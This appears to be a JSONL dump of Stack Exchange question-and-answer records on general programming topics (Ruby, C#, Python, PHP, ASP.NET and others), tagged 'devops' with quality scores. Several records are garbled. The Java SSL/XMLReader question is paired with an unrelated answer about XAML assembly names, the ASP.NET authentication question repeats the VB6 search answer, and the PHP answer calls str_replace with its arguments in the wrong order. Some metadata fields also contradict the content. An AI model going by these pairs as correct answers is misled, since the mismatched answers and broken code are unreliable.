{"id": "hf_913736df058a", "question": "<p>I have a Ruby script that generates a UTF8 CSV file remotely in a Linux machine and then transfers the file to a Windows machine thru SFTP. </p>\n\n<p>I then need to open this file with Excel, but Excel doesn't get UTF8, so I always need to open the file in a text editor that has the capability to convert UTF8 to ANSI.</p>\n\n<p>I would love to do this programmatically using Ruby and avoid the manual conversion step. What's the easiest way to do it?</p>\n\n<p>PS: I tried using iconv but had no success.</p>\n", "question_body": "", "answer": "```\n```\nascii_str = yourUTF8text.unpack(\"U*\").map{|c|c.chr}.join\n```\n```\nassuming that your text really does fit in the ascii character set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.635761"}
{"id": "hf_331b862612c6", "question": "<p>I'm writing a program in C# that runs in the background and allows users to use a hotkey to switch keyboard layouts in the active window.  (Windows only supports <kbd>CTRL</kbd>+<kbd>SHIFT</kbd> and <kbd>ALT</kbd>+<kbd>SHIFT</kbd>)</p>\n\n<p>I'm using RegisterHotKey to catch the hotkey, and it's working fine.</p>\n\n<p>The problem is that I can't find any API to change the keyboard layout for the focused window.</p>\n\n<p>ActivateKeyboardLayout and LoadKeyboardLayout  can only change the keyboard layout for the calling thread.</p>\n\n<p>Does anyone know how to change the keyboard layout for a different thread (the way the Language Bar does)?</p>\n", "question_body": "", "answer": "I think the trick is to get your code to execute in the context of the thread whose keyboard layout you wish to change. You'll need to do some win32 interop here and learn about DLL Injection to get your code to execute in the remote thread.\nA\nkeyboard hook handler\nlooks like a good option for you here.\nTake a look at\nhttp://www.codeproject.com/KB/threads/winspy.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.671786"}
{"id": "hf_4f2dd578c3b1", "question": "<p>I'm looking for a clean C++ way to parse a string containing expressions wrapped in ${} and build a result string from the programmatically evaluated expressions.</p>\n\n<p>Example:  \"Hi ${user} from ${host}\" will be evaluated to \"Hi foo from bar\" if I implement the program to let \"user\" evaluate to \"foo\", etc.</p>\n\n<p>The current approach I'm thinking of consists of a state machine that eats one character at a time from the string and evaluates the expression after reaching '}'. Any hints or other suggestions?</p>\n\n<p>Note: boost:: is most welcome! :-)</p>\n\n<p><strong>Update</strong> Thanks for the first three suggestions! Unfortunately I made the example too simple! I need to be able examine the contents within ${} so it's not a simple search and replace. Maybe it will say ${uppercase:foo} and then I have to use \"foo\" as a key in a hashmap and then convert it to uppercase, but I tried to avoid the inner details of ${} when writing the original question above... :-)</p>\n", "question_body": "", "answer": "How many evaluation expressions do intend to have?  If it's small enough, you might just want to use brute force.\nFor instance, if you have a\n```\nstd::map<string, string>\n```\nthat goes from your\n```\nkey\n```\nto its\n```\nvalue\n```\n, for instance\n```\nuser\n```\nto\n```\nMatt Cruikshank\n```\n, you might just want to iterate over your entire map and do a simple replace on your string of every\n```\n\"${\" + key + \"}\"\n```\nto its\n```\nvalue\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.773253"}
{"id": "hf_5cb8f7026f1e", "question": "<p>I'm reading <em>The C++ Programming Language</em> and in it Stroustrup states that the int value of a char can range from 0 to 255 or -127 to 127, depending on implementation. Is this correct? It seems like it should be from -128 to 127.  If not, why are their only 255 possible values in the second implementation possibility, not 256.</p>\n", "question_body": "", "answer": "You're stuck in\ntwo's complement\nthinking - The C++ standard does not define the representation used for negative numbers!\nIf your computer (god forbid) uses\nones's complement\nto represent negative numbers, you have a range of -127 to + 127 in an 8-bit byte. On the upside, you have two different possible representations for zero...\nHowever, in the real world,\nyou're unlikely to meet a one's complement computer\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.871919"}
{"id": "hf_0a8732f05119", "question": "<p>Right now I'm not sure...</p>\n", "question_body": "", "answer": "I'd say yes.  I'm using it.  I know for a fact that Universal are using it on some of their (thousands of) sites.  I will add some caveats, however:\nThere are serious problems with setting it up, especially if you want to debug into the libraries.\nThe helper functions favour prototype, as opposed to the more modern jQuery.  This is changing rapidly, however.\nThe documentation is a bit chaotic, again the Castle Team are working on that.\nI'm not guaranteeing every last \"out-there\" feature works, but the point of the system is actually to keep it simple.\nCompared to vanilla ASP.NET, it's an absolute joy.  I assure you that you won't miss viewstate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.920639"}
{"id": "hf_34d6d93132f4", "question": "<p>In .NET, the <a href=\"https://learn.microsoft.com/en-us/dotnet/api/system.object.gethashcode\" rel=\"noreferrer\"><code>GetHashCode</code> method</a> is used in a lot of places throughout the .NET base class libraries. Implementing it properly is especially important to find items quickly in a collection or when determining equality.</p>\n\n<p>Is there a standard algorithm or best practice on how to implement <code>GetHashCode</code> for my custom classes so I don't degrade performance?</p>\n", "question_body": "", "answer": "I usually go with something like the implementation given in Josh Bloch's\nfabulous\nEffective Java\n. It's fast and creates a pretty good hash which is unlikely to cause collisions. Pick two different prime numbers, e.g. 17 and 23, and do:\n```\n```\npublic override int GetHashCode()\n{\n    unchecked // Overflow is fine, just wrap\n    {\n        int hash = 17;\n        // Suitable nullity checks etc, of course :)\n        hash = hash * 23 + field1.GetHashCode();\n        hash = hash * 23 + field2.GetHashCode();\n        hash = hash * 23 + field3.GetHashCode();\n        return hash;\n    }\n}\n```\n```\nAs noted in comments, you may find it's better to pick a large prime to multiply by instead. Apparently 486187739 is good... and although most examples I've seen with small numbers tend to use primes, there are at least similar algorithms where non-prime numbers are often used. In the not-quite-\nFNV\nexample later, for example, I've used numbers which apparently work well - but the initial value isn't a prime. (The multiplication constant\nis\nprime though. I don't know quite how important that is.)\nThis is better than the common practice of\n```\nXOR\n```\ning hashcodes for two main reasons. Suppose we have a type with two\n```\nint\n```\nfields:\n```\n```\nXorHash(x, x) == XorHash(y, y) == 0 for all x, y\nXorHash(x, y) == XorHash(y, x) for all x, y\n```\n```\nBy the way, the earlier algorithm is the one currently used by the C# compiler for anonymous types.\nThis page\ngives quite a few options. I think for most cases the above is \"good enough\" and it's incredibly easy to remember and get right. The\nFNV\nalternative is similarly simple, but uses different constants and\n```\nXOR\n```\ninstead of\n```\nADD\n```\nas a combining operation. It looks\nsomething\nlike the code below, but the normal FNV algorithm operates on individual bytes, so this would require modifying to perform one iteration per byte, instead of per 32-bit hash value. FNV is also designed for variable lengths of data, whereas the way we're using it here is always for the same number of field values. Comments on this answer suggest that the code here doesn't actually work as well (in the sample case tested) as the addition approach above.\n```\n```\n// Note: Not quite FNV!\npublic override int GetHashCode()\n{\n    unchecked // Overflow is fine, just wrap\n    {\n        int hash = (int) 2166136261;\n        // Suitable nullity checks etc, of course :)\n        hash = (hash * 16777619) ^ field1.GetHashCode();\n        hash = (hash * 16777619) ^ field2.GetHashCode();\n        hash = (hash * 16777619) ^ field3.GetHashCode();\n        return hash;\n    }\n}\n```\n```\nNote that one thing to be aware of is that ideally you should prevent your equality-sensitive (and thus hashcode-sensitive) state from changing after adding it to a collection that depends on the hash code.\nAs per the\ndocumentation\n:\nYou can override GetHashCode for immutable reference types. In general, for mutable reference types, you should override GetHashCode only if:\nYou can compute the hash code from fields that are not mutable; or\nYou can ensure that the hash code of a mutable object does not change while the object is contained in a collection that relies on its hash code.\nThe link to the\nFNV\narticle is broken but here is a copy in the Internet Archive:\nEternally Confuzzled - The Art of Hashing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.956557"}
{"id": "hf_22844b427f37", "question": "<p>Imagine the following REBOL code:</p>\n\n<pre>foo: context [bar: 3]</pre>\n\n<p>I now have a context <code>foo</code> in which <code>'bar</code> is defined. How can I dynamically inject a new word into this context? Is it possible?</p>\n\n<p>I've tried:</p>\n\n<pre>set/any in foo 'baz 3</pre>\n\n<p>But that doesn't work because the expression <code>in foo 'baz</code> fails because there is no word <code>'baz</code> defined in the <code>foo</code> context.</p>\n\n<p>I should add that I realize one way to do this is as follows:</p>\n\n<pre>foo-prototype: [bar: 3]\nfoo: context foo-prototype\nfoo: context head append foo-prototype [baz: 3]</pre>\n\n<p>But what if you don't have access to <code>foo</code>'s prototype block?</p>\n", "question_body": "", "answer": "You can achieve the same by using the existing object as a prototype to create a new object.\n```\n```\n>> foo: make object! [bar: 3]\n>> foo: make foo [baz: 3]\n>> probe foo\nmake object! [\n    bar: 3\n    baz: 3\n]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:13.981751"}
{"id": "hf_91d9ad6f9207", "question": "<p>I have a Java server that accepts SSL connections using JSSE and uses a simple XML message format inside the stream.  I would like the server to read a complete message and then send a reply.  This turns out to be quite difficult because org.xml.sax.XMLReader wants to read the entire stream and then call close().  I know it seems strange, but in Java 6 with the Sun JSSE provider this really does close both ends of the SSLSocket so no message can go back.  I tried using the shutdownOutput() method of Socket on the client side, but this is unsupported with JSSE.</p>\n\n<p>My solution was to pass an InputStream wrapped in a custom class that silently ignores close requests and indicates that the stream is closed when it encounters the first blank line.  This constrains the XML beyond what is normally valid, but the client can easily filter out blank lines in the input if necessary.  Is there a better solution?</p>\n", "question_body": "", "answer": "I'm guessing that you are already doing dynamic assembly resolution and loading? If so, then you could try substituting a fake assembly name in place of the real assembly name i n the Xaml - you can then use that in your assembly resolution code to load up and return the right assembly. e.g. if your original source Xaml is:\n```\n```\nxmlns:myassembly=\"clr-namespace:MyApp.MyAssembly;assembly=MyAssembly\"\n```\n```\nand you know that Xaml wants v2 of MyAssembly, replace the assembly ref in the Xaml string before parsing it to:\n```\n```\nxmlns:myassembly=\"clr-namespace:MyApp.MyAssembly;assembly=MyAssembly.v2\"\n```\n```\n.. then in your assembly resolution / load code, when you see the \".v2\" bit on the end you look for and load that assembly instead.\nPlease let me know if I've misunderstood the question, or you aren't current doing any custom assembly resolution - that would certainly be the key in this situation I think.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.018720"}
{"id": "hf_4e46233f8def", "question": "<p>I'm pretty sure there should be a more Pythonic way of doing this - but I can't think of one: How can I merge a two-dimensional list into a one-dimensional list? Sort of like zip/map but with more than two iterators.</p>\n\n<p>Example - I have the following list:</p>\n\n<pre><code>array = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\n</code></pre>\n\n<p>I want to have</p>\n\n<pre><code>result = [12, 15, 18] # [1+4+7, 2+5+8, 3+6+9]\n</code></pre>\n\n<p>So far what I've come up with is:</p>\n\n<pre><code>def add_list(array):\n    number_items = len(array[0])\n    result = [0] * number_items\n    for index in range(number_items):\n        for line in array:\n            result[index] += line[index]\n    return result\n</code></pre>\n\n<p>But that doesn't look very elegant/Pythonic to me. Aside from not checking if all the \"lines\" in the 2D array are of the same length, can be added to each other, etc. What would be a better way to do it?</p>\n", "question_body": "", "answer": "```\n```\n[sum(a) for a in zip(*array)]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.075816"}
{"id": "hf_17a8a975a667", "question": "<p>I have a C# .NET web project that I'm currently working on.  What I'm trying to do is read some files that I dropped into a dir which is at the same level as fileReader.cs which is attempting to read them.  On a normal desktop app the following would work:</p>\n\n<pre><code>DirectoryInfo di = new DirectoryInfo(./myDir);\n</code></pre>\n\n<p>However because it's a web project the execution context is different, and I don't know how to access these files?</p>\n\n<p>Eventually fileReader will be called in an installation routine.  I intend to override one of the Installer.cs' abstract methods so will this affect the execution context?</p>\n", "question_body": "", "answer": "Use\n```\nServer.MapPath\n```\nto get the local path for the currently executing page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.099825"}
{"id": "hf_32924817e6e7", "question": "<p>I wish to dynamically change the scroll position of a Silverlight ListBox from C#, and I need to know how to access the ScrollViewer element of a ListBox control from C#?</p>\n\n<p>Thanks guys,\nJeff</p>\n", "question_body": "", "answer": "Good question. I didn't find a way to do it directly, but came fairly close by looking at the Silverlight Controls project (they use the scrollviewer on the items control in some of the classes). Here is how you can get it, but it requires a custom listbox:\n```\n```\npublic class TestBox : ListBox\n{\n    private ScrollViewer _scrollHost;\n\n    protected override void PrepareContainerForItemOverride(DependencyObject element, object item)\n    {\n        var itemsHost = VisualTreeHelper.GetParent(element) as Panel;\n\n        for (DependencyObject obj = itemsHost; obj != item && obj != null; obj = VisualTreeHelper.GetParent(obj))\n        {\n            ScrollViewer viewer = obj as ScrollViewer;\n            if (viewer != null)\n            {\n                _scrollHost = viewer;\n                break;\n            }\n         }\n\n        base.PrepareContainerForItemOverride(element, item);\n    }\n}\n```\n```\nThere might be another way to hook into that event (or another way to get that panel), If you look at the template for the ListBox you will see the scroll viewer is actually named \"ScrollViewer\", however the GetTemplateChild method is protected so you would still need to create a custom class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.159692"}
{"id": "hf_4206bb03e699", "question": "<p>In a forms model, I used to get the current logged-in user by:</p>\n\n<pre><code>Page.CurrentUser\n</code></pre>\n\n<p>How do I get the current user inside a controller class in ASP.NET MVC?</p>\n", "question_body": "", "answer": "I use:\n```\n```\nMembership.GetUser().UserName\n```\n```\nI am not sure this will work in ASP.NET MVC, but it's worth a shot :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.190229"}
{"id": "hf_829e594f53ab", "question": "<p>I am using the following code to determine free space on a volume.\nThe folder was provided using NSOpenPanel.  The item selected was a mounted volume and the path returned is \\Volumes\\Name</p>\n\n<pre><code>NSDictionary* fileAttributes = [[NSFileManager defaultManager] fileSystemAttributesAtPath:folder];\n\nunsigned long long size = [[fileAttributes objectForKey:NSFileSystemFreeSize] longLongValue];    \n</code></pre>\n\n<p>Is there a better method to determine the free space on a mounted volume using Cocoa?</p>\n\n<p>Update: This is in fact the best way to determine the free space on a volume.  It appeared it wasn't working but that was due to the fact that folder was actually /Volumes rather  than /Volume/VolumeName</p>\n", "question_body": "", "answer": "statfs is consistent with results from df. In theory NSFileSystemFreeSize comes from statfs, so your problem should not exist.\nYou may want to run statfs as below as a replacement for NSFileSystemFreeSize:\n```\n```\n#include <sys/param.h>\n#include <sys/mount.h>\n\nint main()\n{\n    struct statfs buf;\n\n    int retval = statfs(\"/Volumes/KINGSTON\", &buf);\n\n    printf(\"KINGSTON Retval: %d, fundamental file system block size %ld, total data blocks %d, total in 512 blocks: %ld\\n\",\n            retval, buf.f_bsize, buf.f_blocks, (buf.f_bsize / 512) * buf.f_blocks); \n    printf(\"Free 512 blocks: %ld\\n\",  (buf.f_bsize / 512) * buf.f_bfree); \n    exit(0);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.244529"}
{"id": "hf_c3b1c91aacbd", "question": "<p>We just switched from TFS to SVN, and so far we're loving it.  </p>\n\n<p>However, it did introduce a few new issues.</p>\n\n<p>One is the way project files (.vbproj specifically) are handled. The .vbproj file is of course always changing as files and references are changed, and if a few people are collaberating there will be conflicts. </p>\n\n<p>Oddly, in TFS we never had to deal with managing those conflicts, that particular piece was automagically handled. Now in SVN, we're mucking through XML in the merge tool and there have already been some mistakes.  </p>\n\n<p>How do you handle this? Any tips?</p>\n\n<p><strong>EDIT:</strong> by the way, we're using VisualSVN.</p>\n", "question_body": "", "answer": "This particular issue occurs if multiple developers add files to the same project.\nTo resolve a conflict when multiple developers have added files to the same project, you can usually make it work by resolving using \"mine before theirs\" option. It'll add both your changes together.\nThis issue and other merge issues are alleviated by committing and updating often. Commit once a day or more if possible. The longer you go without updating and committing, the more pain you and your team will feel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.279979"}
{"id": "hf_f6229f2c5242", "question": "<p>I'm trying to use SubSonic for a new project with an existing database but when I try to build the project after generating the SubSonic files I'm getting these same two exceptions on different classes:</p>\n\n<ul>\n<li>Partial declarations of 'MyData.UserCollection' must not specify different base classes</li>\n<li>Type 'MyData.UserCollection' already defines a member called 'UserCollection' with the same parameter types</li>\n</ul>\n\n<p>I'm able to successfully build a new project using the Northwind DB so I believe the error has something to do with the way the tables are setup but I'm not sure where to go from there.  Any help is appreciated.</p>\n", "question_body": "", "answer": "Search for UserCollection in your project. SubSonic generated a partial class for this in the User.cs generated file. You either have a UserCollection of your own in which case you should probably rename it or put it in another namespace. Either that, or you tried to add functionality to the UserCollection and you derive it from another type.\nLast possibility is that you have a User table and a Users table. SubSonic will change Users to User. I'm not sure, but it might cause generation errors. I haven't tried it though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.379430"}
{"id": "hf_75735a902c9d", "question": "<p>In the following table structure:</p>\n\n<pre><code>Fruits \n(\n    fruit_id,\n    fruitName\n)\n\n\nVegetables\n(\n    vegetable_id,\n    vegetableName\n)\n\nfavoriteFoods \n(\n     food_id,\n     foodName,\n     type_id (References either a fruit or a vegetable)\n)\n</code></pre>\n\n<p>I realize that I could forgo using a foreign key constraint on the favoriteFoods table and then simply add a type field to the favoriteFoods table to differentiate between fruits and vegetables.  But how would you structure the tables so that you could actually create the necessary foreign key constraints? </p>\n", "question_body": "", "answer": "I would only use 2 tables instead.  Instead of having a separate Fruits and Vegetables table, why not have a table of Foods.  Then have a foreign key constraint on fkfood_id to food_id.  Then if for some reason you ever have to add meat, it would be much easier to maintain the application that uses this.\n```\n```\nFood\n    (\n    food_id,\n    foodName,\n    foodType\n    )\n\nfavoriteFoods\n    (\n    favoritefood_id,\n    fkfood_id\n    )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.431495"}
{"id": "hf_4afa7f7e573e", "question": "<p>I am evaluating VintaSoft .net control and Atalasoft DotTwain Image Capture. And I am very but very lost with the most of the definitions and keywords.</p>\n\n<p>So I am asking this because I think I am in Lala land. Is it possible to listen or have the scanner tell my app that there is a scanned image and I can process it?</p>\n\n<p>The idea is to have a winservice that is waiting for the scanner to scan something and when that happens process the image.</p>\n", "question_body": "", "answer": "[edit - if it was me, I'd look at adzm's answer ;-p]\nAs I understand it, regular TWAIN is a \"pull\", not a \"push\" from the scanner. I could well be wrong...\nI expect such interfaces do exist for high end, high volume scanners (you know, the ones the size of a billiard table) - but not (AFAIK) for regular consumer scanners.\nFor use with .NET (and before that, COM), I've always managed with\nImageMan\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.481316"}
{"id": "hf_98acb0624dc8", "question": "<p>I'm wondering how slow it's going to be switching between 2 databases on every call of every page of a site. The site has many different databases for different clients, along with a \"global\" database that is used for some general settings. I'm wondering if there would be much time added for the execution of each script if it has to connect to the database, select a DB, do a query or 2, switch to another DB and then complete the page generation. I could also have the data repeated in each DB, I just need to mantain it (will only change when upgrading).</p>\n\n<p>So, in the end, how fast is <code>mysql_select_db()</code>?</p>\n\n<p><strong>Edit:</strong> Yes, I could connect to each DB separately, but as this is often the slowest part of any PHP script, I'd like to avoid this, especially since it's on every page. (It's slow because PHP has to do some kind of address resolution (be it an IP or host name) and then MySQL has to check the login parameters both times.)</p>\n", "question_body": "", "answer": "Assuming that both databases are on the same machine, you don't need to do the mysql_select_db. You can just specify the database in the queries. For example;\n```\n```\nSELECT * FROM db1.table1;\n```\n```\nYou could also open two connections and use the DB object that is returned from the connect call and use those two objects to select the databases and pass into all of the calls. The database connection is an optional parameter on all of the mysql db calls, just check the docs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.507261"}
{"id": "hf_39b8c52852cd", "question": "<p>A Java version of this question was just answered, and, well, I don't know how to do this in .net. </p>\n\n<p>So how do you calculate the display width of a string in C# / .net?</p>\n", "question_body": "", "answer": "You've got the same problem in this question as was present in the Java question - not enough information! It will differ between WinForms and WPF.\nFor WinForms:\nGraphics.MeasureString\nFor WPF I'm not sure, but I suspect it will depend on the exact way you're drawing the text...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.556547"}
{"id": "hf_f539812ef3d9", "question": "<p>Is there any Ruby equivalent for Python's builtin <code>zip</code> function? If not, what is a concise way of doing the same thing?</p>\n\n<p>A bit of context: this came up when I was trying to find a clean way of doing a check involving two arrays. If I had <code>zip</code>, I could have written something like:</p>\n\n<pre><code>zip(a, b).all? {|pair| pair[0] === pair[1]}\n</code></pre>\n\n<p>I'd also accept a clean way of doing this without anything resembling <code>zip</code> (where \"clean\" means \"without an explicit loop\").</p>\n", "question_body": "", "answer": "Ruby has a zip function:\n```\n```\n[1,2].zip([3,4]) => [[1,3],[2,4]]\n```\n```\nso your code example is actually:\n```\n```\na.zip(b).all? {|pair| pair[0] === pair[1]}\n```\n```\nor perhaps more succinctly:\n```\n```\na.zip(b).all? {|a,b| a === b }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.594052"}
{"id": "hf_aa62d92c86c6", "question": "<p>I've inherited a ASP/VB6 code base (not my forte... yet) and I'm trying tease it apart to figure out the cause on an error message I'm receiving when running the app.</p>\n\n<p>I've traced it back through an event that is being raised in on of my classes. Is there away in windows I can search the bulk of the code base for where it is being consumed? \nCtrl-F (and selecting Current Project) has not sufficed.</p>\n\n<p>The linux geek in me is saying dump it to a <em>insert distro</em> box and just grep for the sucker. But there's got to be some way in the IDE to do it... right?</p>\n", "question_body": "", "answer": "But there's got to be some way in the IDE to do it... right?\nNo. There are some plugins for the IDE, such as the\nMZ Tools\nthat\nmight\nhelp. Otherwise, just use the\n```\nfind\n```\ntool from the Windows command line. Not nearly as comfortable as using\n```\ngrep\n```\n, of course.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.619328"}
{"id": "hf_4a7135b61611", "question": "<p>I've been having performance issues with a high traffic ASP.NET 2.0 site running on Windows 2000.  While editing the web.config file I noticed that the authentication mode was set to 'Windows'.  I changed it to 'None'.  The only users this site has are anonymous and it gets 25,000+ page views at day.  Could this have been a caused performance issues?</p>\n", "question_body": "", "answer": "But there's got to be some way in the IDE to do it... right?\nNo. There are some plugins for the IDE, such as the\nMZ Tools\nthat\nmight\nhelp. Otherwise, just use the\n```\nfind\n```\ntool from the Windows command line. Not nearly as comfortable as using\n```\ngrep\n```\n, of course.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.643435"}
{"id": "hf_f8b33563537b", "question": "<p>I have a multidimensional array. I need to search it for a specific range of values, edit those values and return the edited data.</p>\n\n<p>Example array:</p>\n\n<pre><code>array(3) {\n  [\"first\"]=&gt;\n  array(1) {\n    [0]=&gt;\n    string(4) \"baz1\"\n  }\n  [\"second\"]=&gt;\n  array(1) {\n    [0]=&gt;\n    string(4) \"foo1\"\n  }\n  [\"third\"]=&gt;\n  array(1) {\n    [0]=&gt;\n    string(4) \"foo2\"\n  }\n</code></pre>\n\n<p>Now I want to find any values that match foo (foo1 and foo2 in the example array), insert \"-bar\" into them (foo-bar1, foo-bar2) and return that value. What are the best ways to approach this? </p>\n\n<p><em>EDIT</em> I should have mentioned that foo could actually be anythingfoo (ex. examplefoo1, somethingelsefoo2, blahblahfoo3). I think this rules out str_replace.</p>\n", "question_body": "", "answer": "How about something like this:\n```\n```\nfunction addDashBar($arr)\n{\n    foreach ($arr as $key => $value)\n    {\n       if (is_array($value))\n           $arr[$key] = addDashBar($value)\n       else\n       {\n           $arr[$key] = str_replace($value, \"foo\", \"foo-bar\");\n       }\n    }\n\n    return $arr;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.710640"}
{"id": "hf_ffb597a40c9d", "question": "<p>In eclipse, I have a javaproject (not a web project), though it does provide reusable tag files.</p>\n\n<p>layout</p>\n\n<p>+src<br>\n+++META-INF<br>\n----my.tld<br>\n+++++++++++tags<br>\n---------------include.jsp<br></p>\n\n<p>I keep on getting Fragment \"/META-INF/tags/include.jsp\" was not be found at expected path /Project/META-INF/tags/taginclude.jsp</p>\n\n<p>How can I modify the path eclipse is looking for? I need to tell it to include \"src\" in the lookup</p>\n", "question_body": "", "answer": "Josh, if you're working with .jsp and .tld files, then you really shouldn't be doing this as a \"Java Project\", but instead a \"Dynamic Web Project\" in Eclipse.  Nonetheless, I'll try to answer your question.\nBased on the diagram of your file system, your files are laid out incorrectly.  If you're trying to create a web app (a .war file), then you need a WEB-INF directory.  Under the WEB-INF directory you'll need a web.xml file (google for web.xml to see what needs to be in there), a tags directory, and a classes and lib directory.\nCompiled class files must go in the WEB-INF/classes directory.\nJar files that you depend on must go in the WEB-INF/lib directory.\nTablibs must go in the WEB-INF/tags directory.\nFinally, your .jsp files must go in src directory (the parent dir of WEB-INF).\nSo, your layout should look like this:\n```\nmyproject/\n`-- src\n    |-- WEB-INF\n    |   |-- classes\n    |   |   `-- MyClass.class\n    |   |-- lib\n    |   |   `-- my.jar\n    |   |-- tags\n    |   |   `-- my.tld\n    |   `-- web.xml\n    `-- include.jsp\n```\nHope this helps.\n-Bryan", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:14.760020"}
